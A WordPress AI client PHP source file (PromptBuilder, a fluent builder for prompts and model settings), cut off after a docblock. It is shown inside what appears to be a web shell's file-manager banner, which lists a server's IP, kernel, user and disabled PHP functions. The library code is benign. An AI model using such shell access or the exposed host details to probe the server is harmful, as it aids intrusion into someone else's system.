Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : PromptBuilder.php
<?php

declare (strict_types=1);
namespace WordPress\AiClient\Builders;

use WordPress\AiClientDependencies\Psr\EventDispatcher\EventDispatcherInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Events\AfterGenerateResultEvent;
use WordPress\AiClient\Events\BeforeGenerateResultEvent;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\DTO\UserMessage;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\Contracts\ApiBasedModelInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Providers\Models\ImageGeneration\Contracts\ImageGenerationModelInterface;
use WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts\SpeechGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts\TextToSpeechConversionModelInterface;
use WordPress\AiClient\Providers\Models\VideoGeneration\Contracts\VideoGenerationModelInterface;
use WordPress\AiClient\Providers\ProviderRegistry;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
use WordPress\AiClient\Tools\DTO\WebSearch;
/**
 * Fluent builder for constructing AI prompts.
 *
 * This class provides a fluent interface for building prompts with various
 * content types and model configurations. It automatically infers model
 * requirements based on the features used in the prompt.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type MessageArrayShape from Message
 * @phpstan-import-type MessagePartArrayShape from MessagePart
 *
 * @phpstan-type Prompt string|MessagePart|Message|MessageArrayShape|list<string|MessagePart|MessagePartArrayShape>|list<Message>|null
 */
class PromptBuilder
{
    /**
     * @var ProviderRegistry The provider registry for finding suitable models.
     */
    private ProviderRegistry $registry;
    /**
     * @var list<Message> The messages in the conversation.
     */
    protected array $messages = [];
    /**
     * @var ModelInterface|null The model to use for generation.
     */
    protected ?ModelInterface $model = null;
    /**
     * @var list<string> Ordered list of preference keys to check when selecting a model.
     */
    protected array $modelPreferenceKeys = [];
    /**
     * @var string|null The provider ID or class name.
     */
    protected ?string $providerIdOrClassName = null;
    /**
     * @var ModelConfig The model configuration.
     */
    protected ModelConfig $modelConfig;
    /**
     * @var RequestOptions|null The request options for HTTP transport.
     */
    protected ?RequestOptions $requestOptions = null;
    /**
     * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
     */
    private ?EventDispatcherInterface $eventDispatcher = null;
    // phpcs:disable Generic.Files.LineLength.TooLong
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ProviderRegistry $registry The provider registry for finding suitable models.
     * @param Prompt $prompt Optional initial prompt content.
     * @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events.
     */
    // phpcs:enable Generic.Files.LineLength.TooLong
    public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null)
    {
        $this->registry = $registry;
        $this->modelConfig = new ModelConfig();
        $this->eventDispatcher = $eventDispatcher;
        if ($prompt === null) {
            return;
        }
        // Check if it's a list of Messages - set as messages
        if ($this->isMessagesList($prompt)) {
            $this->messages = $prompt;
            return;
        }
        // Parse it as a user message
        $userMessage = $this->parseMessage($prompt, MessageRoleEnum::user());
        $this->messages[] = $userMessage;
    }
    /**
     * Creates a deep clone of this builder.
     *
     * Clones all mutable state including messages, model configuration, and request options.
     * Service objects (registry, model, event dispatcher) are intentionally NOT cloned
     * as they are shared dependencies.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Deep clone messages array (Message has __clone)
        $clonedMessages = [];
        foreach ($this->messages as $message) {
            $clonedMessages[] = clone $message;
        }
        $this->messages = $clonedMessages;
        // Clone model config (ModelConfig has __clone)
        $this->modelConfig = clone $this->modelConfig;
        // Clone request options if set (contains only primitives)
        if ($this->requestOptions !== null) {
            $this->requestOptions = clone $this->requestOptions;
        }
        // Note: $registry, $model, and $eventDispatcher are service objects
        // and are intentionally NOT cloned - they should be shared references.
    }
    /**
     * Adds text to the current message.
     *
     * @since 0.1.0
     *
     * @param string $text The text to add.
     * @return self
     */
    public function withText(string $text): self
    {
        $part = new MessagePart($text);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds a file to the current message.
     *
     * Accepts:
     * - File object
     * - URL string (remote file)
     * - Base64-encoded data string
     * - Data URI string (data:mime/type;base64,data)
     * - Local file path string
     *
     * @since 0.1.0
     *
     * @param string|File $file The file (File object or string representation).
     * @param string|null $mimeType The MIME type (optional, ignored if File object provided).
     * @return self
     * @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined.
     */
    public function withFile($file, ?string $mimeType = null): self
    {
        $file = $file instanceof File ? $file : new File($file, $mimeType);
        $part = new MessagePart($file);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds a function response to the current message.
     *
     * @since 0.1.0
     *
     * @param FunctionResponse $functionResponse The function response.
     * @return self
     */
    public function withFunctionResponse(FunctionResponse $functionResponse): self
    {
        $part = new MessagePart($functionResponse);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds message parts to the current message.
     *
     * @since 0.1.0
     *
     * @param MessagePart ...$parts The message parts to add.
     * @return self
     */
    public function withMessageParts(MessagePart ...$parts): self
    {
        foreach ($parts as $part) {
            $this->appendPartToMessages($part);
        }
        return $this;
    }
    /**
     * Adds conversation history messages.
     *
     * Historical messages are prepended to the beginning of the message list,
     * before the current message being built.
     *
     * @since 0.1.0
     *
     * @param Message ...$messages The messages to add to history.
     * @return self
     */
    public function withHistory(Message ...$messages): self
    {
        // Prepend the history messages to the beginning of the messages array
        $this->messages = array_merge($messages, $this->messages);
        return $this;
    }
    /**
     * Sets the model to use for generation.
     *
     * The model's configuration will be merged with the builder's configuration,
     * with the builder's configuration taking precedence for any overlapping settings.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $model The model to use.
     * @return self
     */
    public function usingModel(ModelInterface $model): self
    {
        $this->model = $model;
        // Merge model's config with builder's config, with builder's config taking precedence
        $modelConfigArray = $model->getConfig()->toArray();
        $builderConfigArray = $this->modelConfig->toArray();
        $mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray);
        $this->modelConfig = ModelConfig::fromArray($mergedConfigArray);
        return $this;
    }
    /**
     * Sets preferred models to evaluate in order.
     *
     * @since 0.2.0
     *
     * @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs,
     * model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify
     * only model IDs or model instances, as that will allow for different providers that expose the same model to be
     * considered.
     * @return self
     *
     * @throws InvalidArgumentException When a preferred model has an invalid type or identifier.
     */
    public function usingModelPreference(...$preferredModels): self
    {
        if ($preferredModels === []) {
            throw new InvalidArgumentException('At least one model preference must be provided.');
        }
        $preferenceKeys = [];
        foreach ($preferredModels as $preferredModel) {
            if (is_array($preferredModel)) {
                // [model identifier, provider ID] tuple
                if (!array_is_list($preferredModel) || count($preferredModel) !== 2) {
                    throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.');
                }
                [$providerId, $modelId] = $preferredModel;
                $modelId = $this->normalizePreferenceIdentifier($modelId);
                $providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.');
                $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            } elseif ($preferredModel instanceof ModelInterface) {
                // Model instance
                $modelId = $preferredModel->metadata()->getId();
                $providerId = $preferredModel->providerMetadata()->getId();
                $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            } elseif (is_string($preferredModel)) {
                // Model ID
                $modelId = $this->normalizePreferenceIdentifier($preferredModel);
                $preferenceKey = $this->createModelPreferenceKey($modelId);
            } else {
                // Invalid type
                throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.');
            }
            $preferenceKeys[] = $preferenceKey;
        }
        $this->modelPreferenceKeys = $preferenceKeys;
        return $this;
    }
    /**
     * Sets the model configuration.
     *
     * Merges the provided configuration with the builder's configuration,
     * with builder configuration taking precedence.
     *
     * @since 0.1.0
     *
     * @param ModelConfig $config The model configuration to merge.
     * @return self
     */
    public function usingModelConfig(ModelConfig $config): self
    {
        // Convert both configs to arrays
        $builderConfigArray = $this->modelConfig->toArray();
        $providedConfigArray = $config->toArray();
        // Merge arrays with builder config taking precedence
        $mergedArray = array_merge($providedConfigArray, $builderConfigArray);
        // Create new config from merged array
        $this->modelConfig = ModelConfig::fromArray($mergedArray);
        return $this;
    }
    /**
     * Sets the provider to use for generation.
     *
     * @since 0.1.0
     *
     * @param string $providerIdOrClassName The provider ID or class name.
     * @return self
     */
    public function usingProvider(string $providerIdOrClassName): self
    {
        $this->providerIdOrClassName = $providerIdOrClassName;
        return $this;
    }
    /**
     * Sets the system instruction.
     *
     * System instructions are stored in the model configuration and guide
     * the AI model's behavior throughout the conversation.
     *
     * @since 0.1.0
     *
     * @param string $systemInstruction The system instruction text.
     * @return self
     */
    public function usingSystemInstruction(string $systemInstruction): self
    {
        $this->modelConfig->setSystemInstruction($systemInstruction);
        return $this;
    }
    /**
     * Sets the maximum number of tokens to generate.
     *
     * @since 0.1.0
     *
     * @param int $maxTokens The maximum number of tokens.
     * @return self
     */
    public function usingMaxTokens(int $maxTokens): self
    {
        $this->modelConfig->setMaxTokens($maxTokens);
        return $this;
    }
    /**
     * Sets the temperature for generation.
     *
     * @since 0.1.0
     *
     * @param float $temperature The temperature value.
     * @return self
     */
    public function usingTemperature(float $temperature): self
    {
        $this->modelConfig->setTemperature($temperature);
        return $this;
    }
    /**
     * Sets the top-p value for generation.
     *
     * @since 0.1.0
     *
     * @param float $topP The top-p value.
     * @return self
     */
    public function usingTopP(float $topP): self
    {
        $this->modelConfig->setTopP($topP);
        return $this;
    }
    /**
     * Sets the top-k value for generation.
     *
     * @since 0.1.0
     *
     * @param int $topK The top-k value.
     * @return self
     */
    public function usingTopK(int $topK): self
    {
        $this->modelConfig->setTopK($topK);
        return $this;
    }
    /**
     * Sets stop sequences for generation.
     *
     * @since 0.1.0
     *
     * @param string ...$stopSequences The stop sequences.
     * @return self
     */
    public function usingStopSequences(string ...$stopSequences): self
    {
        $this->modelConfig->setStopSequences($stopSequences);
        return $this;
    }
    /**
     * Sets the number of candidates to generate.
     *
     * @since 0.1.0
     *
     * @param int $candidateCount The number of candidates.
     * @return self
     */
    public function usingCandidateCount(int $candidateCount): self
    {
        $this->modelConfig->setCandidateCount($candidateCount);
        return $this;
    }
    /**
     * Sets the function declarations available to the model.
     *
     * @since 0.1.0
     *
     * @param FunctionDeclaration ...$functionDeclarations The function declarations.
     * @return self
     */
    public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self
    {
        $this->modelConfig->setFunctionDeclarations($functionDeclarations);
        return $this;
    }
    /**
     * Sets the presence penalty for generation.
     *
     * @since 0.1.0
     *
     * @param float $presencePenalty The presence penalty value.
     * @return self
     */
    public function usingPresencePenalty(float $presencePenalty): self
    {
        $this->modelConfig->setPresencePenalty($presencePenalty);
        return $this;
    }
    /**
     * Sets the frequency penalty for generation.
     *
     * @since 0.1.0
     *
     * @param float $frequencyPenalty The frequency penalty value.
     * @return self
     */
    public function usingFrequencyPenalty(float $frequencyPenalty): self
    {
        $this->modelConfig->setFrequencyPenalty($frequencyPenalty);
        return $this;
    }
    /**
     * Sets the web search configuration.
     *
     * @since 0.1.0
     *
     * @param WebSearch $webSearch The web search configuration.
     * @return self
     */
    public function usingWebSearch(WebSearch $webSearch): self
    {
        $this->modelConfig->setWebSearch($webSearch);
        return $this;
    }
    /**
     * Sets the request options for HTTP transport.
     *
     * @since 0.3.0
     *
     * @param RequestOptions $requestOptions The request options.
     * @return self
     */
    public function usingRequestOptions(RequestOptions $requestOptions): self
    {
        $this->requestOptions = $requestOptions;
        return $this;
    }
    /**
     * Sets the top log probabilities configuration.
     *
     * If $topLogprobs is null, enables log probabilities.
     * If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return.
     *
     * @since 0.1.0
     *
     * @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities.
     * @return self
     */
    public function usingTopLogprobs(?int $topLogprobs = null): self
    {
        // Always enable log probabilities
        $this->modelConfig->setLogprobs(\true);
        // If a specific number is provided, set it
        if ($topLogprobs !== null) {
            $this->modelConfig->setTopLogprobs($topLogprobs);
        }
        return $this;
    }
    /**
     * Sets the output MIME type.
     *
     * @since 0.1.0
     *
     * @param string $mimeType The MIME type.
     * @return self
     */
    public function asOutputMimeType(string $mimeType): self
    {
        $this->modelConfig->setOutputMimeType($mimeType);
        return $this;
    }
    /**
     * Sets the output schema.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed> $schema The output schema.
     * @return self
     */
    public function asOutputSchema(array $schema): self
    {
        $this->modelConfig->setOutputSchema($schema);
        return $this;
    }
    /**
     * Sets the output modalities.
     *
     * @since 0.1.0
     *
     * @param ModalityEnum ...$modalities The output modalities.
     * @return self
     */
    public function asOutputModalities(ModalityEnum ...$modalities): self
    {
        $this->modelConfig->setOutputModalities($modalities);
        return $this;
    }
    /**
     * Sets the output file type.
     *
     * @since 0.1.0
     *
     * @param FileTypeEnum $fileType The output file type.
     * @return self
     */
    public function asOutputFileType(FileTypeEnum $fileType): self
    {
        $this->modelConfig->setOutputFileType($fileType);
        return $this;
    }
    /**
     * Sets the output media orientation.
     *
     * @since 1.3.0
     *
     * @param MediaOrientationEnum $orientation The output media orientation.
     * @return self
     */
    public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self
    {
        $this->modelConfig->setOutputMediaOrientation($orientation);
        return $this;
    }
    /**
     * Sets the output media aspect ratio.
     *
     * If set, this supersedes the output media orientation, as it is a more
     * specific configuration.
     *
     * @since 1.3.0
     *
     * @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2").
     * @return self
     */
    public function asOutputMediaAspectRatio(string $aspectRatio): self
    {
        $this->modelConfig->setOutputMediaAspectRatio($aspectRatio);
        return $this;
    }
    /**
     * Sets the output speech voice.
     *
     * @since 1.3.0
     *
     * @param string $voice The output speech voice.
     * @return self
     */
    public function asOutputSpeechVoice(string $voice): self
    {
        $this->modelConfig->setOutputSpeechVoice($voice);
        return $this;
    }
    /**
     * Configures the prompt for JSON response output.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed>|null $schema Optional JSON schema.
     * @return self
     */
    public function asJsonResponse(?array $schema = null): self
    {
        $this->asOutputMimeType('application/json');
        if ($schema !== null) {
            $this->asOutputSchema($schema);
        }
        return $this;
    }
    /**
     * Infers the capability from configured output modalities.
     *
     * @since 0.1.0
     *
     * @return CapabilityEnum The inferred capability.
     * @throws RuntimeException If the output modality is not supported.
     */
    private function inferCapabilityFromOutputModalities(): CapabilityEnum
    {
        // Get the configured output modalities
        $outputModalities = $this->modelConfig->getOutputModalities();
        // Default to text if no output modality is specified
        if ($outputModalities === null || empty($outputModalities)) {
            return CapabilityEnum::textGeneration();
        }
        // Multi-modal output (multiple modalities) defaults to text generation. This is temporary
        // as a multi-modal interface will be implemented in the future.
        if (count($outputModalities) > 1) {
            return CapabilityEnum::textGeneration();
        }
        // Infer capability from single output modality
        $outputModality = $outputModalities[0];
        if ($outputModality->isText()) {
            return CapabilityEnum::textGeneration();
        } elseif ($outputModality->isImage()) {
            return CapabilityEnum::imageGeneration();
        } elseif ($outputModality->isAudio()) {
            return CapabilityEnum::speechGeneration();
        } elseif ($outputModality->isVideo()) {
            return CapabilityEnum::videoGeneration();
        } else {
            // For unsupported modalities, provide a clear error message
            throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value));
        }
    }
    /**
     * Infers the capability from a model's implemented interfaces.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $model The model to infer capability from.
     * @return CapabilityEnum|null The inferred capability, or null if none can be inferred.
     */
    private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum
    {
        // Check model interfaces in order of preference
        if ($model instanceof TextGenerationModelInterface) {
            return CapabilityEnum::textGeneration();
        }
        if ($model instanceof ImageGenerationModelInterface) {
            return CapabilityEnum::imageGeneration();
        }
        if ($model instanceof TextToSpeechConversionModelInterface) {
            return CapabilityEnum::textToSpeechConversion();
        }
        if ($model instanceof SpeechGenerationModelInterface) {
            return CapabilityEnum::speechGeneration();
        }
        if ($model instanceof VideoGenerationModelInterface) {
            return CapabilityEnum::videoGeneration();
        }
        // No supported interface found
        return null;
    }
    /**
     * Checks if the current prompt is supported by the selected model.
     *
     * @since 0.1.0
     * @since 0.3.0 Method visibility changed to public.
     *
     * @param CapabilityEnum|null $capability Optional capability to check support for.
     * @return bool True if supported, false otherwise.
     */
    public function isSupported(?CapabilityEnum $capability = null): bool
    {
        // If no intended capability provided, infer from output modalities
        if ($capability === null) {
            // First try to infer from a specific model if one is set
            if ($this->model !== null) {
                $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
                if ($inferredCapability !== null) {
                    $capability = $inferredCapability;
                }
            }
            // If still no capability, infer from output modalities
            if ($capability === null) {
                $capability = $this->inferCapabilityFromOutputModalities();
            }
        }
        // Build requirements with the specified capability
        $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
        // If the model has been set, check if it meets the requirements
        if ($this->model !== null) {
            return $requirements->areMetBy($this->model->metadata());
        }
        try {
            // Check if any models support these requirements
            $models = $this->registry->findModelsMetadataForSupport($requirements);
            return !empty($models);
        } catch (InvalidArgumentException $e) {
            // No models support the requirements
            return \false;
        }
    }
    /**
     * Checks if the prompt is supported for text generation.
     *
     * @since 0.1.0
     *
     * @return bool True if text generation is supported.
     */
    public function isSupportedForTextGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::textGeneration());
    }
    /**
     * Checks if the prompt is supported for image generation.
     *
     * @since 0.1.0
     *
     * @return bool True if image generation is supported.
     */
    public function isSupportedForImageGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::imageGeneration());
    }
    /**
     * Checks if the prompt is supported for text to speech conversion.
     *
     * @since 0.1.0
     *
     * @return bool True if text to speech conversion is supported.
     */
    public function isSupportedForTextToSpeechConversion(): bool
    {
        return $this->isSupported(CapabilityEnum::textToSpeechConversion());
    }
    /**
     * Checks if the prompt is supported for video generation.
     *
     * @since 0.1.0
     *
     * @return bool True if video generation is supported.
     */
    public function isSupportedForVideoGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::videoGeneration());
    }
    /**
     * Checks if the prompt is supported for speech generation.
     *
     * @since 0.1.0
     *
     * @return bool True if speech generation is supported.
     */
    public function isSupportedForSpeechGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::speechGeneration());
    }
    /**
     * Checks if the prompt is supported for music generation.
     *
     * @since 0.1.0
     *
     * @return bool True if music generation is supported.
     */
    public function isSupportedForMusicGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::musicGeneration());
    }
    /**
     * Checks if the prompt is supported for embedding generation.
     *
     * @since 0.1.0
     *
     * @return bool True if embedding generation is supported.
     */
    public function isSupportedForEmbeddingGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::embeddingGeneration());
    }
    /**
     * Generates a result from the prompt.
     *
     * This is the primary execution method that generates a result (containing
     * potentially multiple candidates) based on the specified capability or
     * the configured output modality.
     *
     * @since 0.1.0
     *
     * @param CapabilityEnum|null $capability Optional capability to use for generation.
     *                                        If null, capability is inferred from output modality.
     * @return GenerativeAiResult The generated result containing candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support the required capability.
     */
    public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult
    {
        $this->validateMessages();
        // If capability is not provided, infer it
        if ($capability === null) {
            // First try to infer from a specific model if one is set
            if ($this->model !== null) {
                $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
                if ($inferredCapability !== null) {
                    $capability = $inferredCapability;
                }
            }
            // If still no capability, infer from output modalities
            if ($capability === null) {
                $capability = $this->inferCapabilityFromOutputModalities();
            }
        }
        $model = $this->getConfiguredModel($capability);
        // Dispatch BeforeGenerateResultEvent
        $this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability));
        // Route to the appropriate generation method based on capability
        $result = $this->executeModelGeneration($model, $capability, $this->messages);
        // Dispatch AfterGenerateResultEvent
        $this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result));
        return $result;
    }
    /**
     * Executes the model generation based on capability.
     *
     * @since 0.4.0
     *
     * @param ModelInterface $model The model to use for generation.
     * @param CapabilityEnum $capability The capability to use.
     * @param list<Message> $messages The messages to send.
     * @return GenerativeAiResult The generated result.
     * @throws RuntimeException If the model doesn't support the required capability.
     */
    private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult
    {
        if ($capability->isTextGeneration()) {
            if (!$model instanceof TextGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId()));
            }
            return $model->generateTextResult($messages);
        }
        if ($capability->isImageGeneration()) {
            if (!$model instanceof ImageGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId()));
            }
            return $model->generateImageResult($messages);
        }
        if ($capability->isTextToSpeechConversion()) {
            if (!$model instanceof TextToSpeechConversionModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId()));
            }
            return $model->convertTextToSpeechResult($messages);
        }
        if ($capability->isSpeechGeneration()) {
            if (!$model instanceof SpeechGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId()));
            }
            return $model->generateSpeechResult($messages);
        }
        if ($capability->isVideoGeneration()) {
            if (!$model instanceof VideoGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId()));
            }
            return $model->generateVideoResult($messages);
        }
        // TODO: Add support for other capabilities when interfaces are available
        throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value));
    }
    /**
     * Generates a text result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing text candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support text generation.
     */
    public function generateTextResult(): GenerativeAiResult
    {
        // Include text in output modalities
        $this->includeOutputModalities(ModalityEnum::text());
        // Generate and return the result with text generation capability
        return $this->generateResult(CapabilityEnum::textGeneration());
    }
    /**
     * Generates an image result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing image candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support image generation.
     */
    public function generateImageResult(): GenerativeAiResult
    {
        // Include image in output modalities
        $this->includeOutputModalities(ModalityEnum::image());
        // Generate and return the result with image generation capability
        return $this->generateResult(CapabilityEnum::imageGeneration());
    }
    /**
     * Generates a speech result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing speech audio candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support speech generation.
     */
    public function generateSpeechResult(): GenerativeAiResult
    {
        // Include audio in output modalities
        $this->includeOutputModalities(ModalityEnum::audio());
        // Generate and return the result with speech generation capability
        return $this->generateResult(CapabilityEnum::speechGeneration());
    }
    /**
     * Converts text to speech and returns the result.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing speech audio candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support text-to-speech conversion.
     */
    public function convertTextToSpeechResult(): GenerativeAiResult
    {
        // Include audio in output modalities
        $this->includeOutputModalities(ModalityEnum::audio());
        // Generate and return the result with text-to-speech conversion capability
        return $this->generateResult(CapabilityEnum::textToSpeechConversion());
    }
    /**
     * Generates a video result from the prompt.
     *
     * @since 1.3.0
     *
     * @return GenerativeAiResult The generated result containing video candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support video generation.
     */
    public function generateVideoResult(): GenerativeAiResult
    {
        // Include video in output modalities
        $this->includeOutputModalities(ModalityEnum::video());
        // Generate and return the result with video generation capability
        return $this->generateResult(CapabilityEnum::videoGeneration());
    }
    /**
     * Generates text from the prompt.
     *
     * @since 0.1.0
     *
     * @return string The generated text.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     */
    public function generateText(): string
    {
        return $this->generateTextResult()->toText();
    }
    /**
     * Generates multiple text candidates from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of candidates to generate.
     * @return list<string> The generated texts.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     */
    public function generateTexts(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        // Generate text result
        return $this->generateTextResult()->toTexts();
    }
    /**
     * Generates an image from the prompt.
     *
     * @since 0.1.0
     *
     * @return File The generated image file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no image is generated.
     */
    public function generateImage(): File
    {
        return $this->generateImageResult()->toFile();
    }
    /**
     * Generates multiple images from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of images to generate.
     * @return list<File> The generated image files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no images are generated.
     */
    public function generateImages(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateImageResult()->toFiles();
    }
    /**
     * Converts text to speech.
     *
     * @since 0.1.0
     *
     * @return File The generated speech audio file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function convertTextToSpeech(): File
    {
        return $this->convertTextToSpeechResult()->toFile();
    }
    /**
     * Converts text to multiple speech outputs.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of speech outputs to generate.
     * @return list<File> The generated speech audio files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function convertTextToSpeeches(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->convertTextToSpeechResult()->toFiles();
    }
    /**
     * Generates speech from the prompt.
     *
     * @since 0.1.0
     *
     * @return File The generated speech audio file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function generateSpeech(): File
    {
        return $this->generateSpeechResult()->toFile();
    }
    /**
     * Generates multiple speech outputs from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of speech outputs to generate.
     * @return list<File> The generated speech audio files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function generateSpeeches(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateSpeechResult()->toFiles();
    }
    /**
     * Generates a video from the prompt.
     *
     * @since 1.3.0
     *
     * @return File The generated video file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no video is generated.
     */
    public function generateVideo(): File
    {
        return $this->generateVideoResult()->toFile();
    }
    /**
     * Generates multiple videos from the prompt.
     *
     * @since 1.3.0
     *
     * @param int|null $candidateCount The number of videos to generate.
     * @return list<File> The generated video files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no videos are generated.
     */
    public function generateVideos(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateVideoResult()->toFiles();
    }
    /**
     * Appends a MessagePart to the messages array.
     *
     * If the last message has a user role, the part is added to it.
     * Otherwise, a new UserMessage is created with the part.
     *
     * @since 0.1.0
     *
     * @param MessagePart $part The part to append.
     * @return void
     */
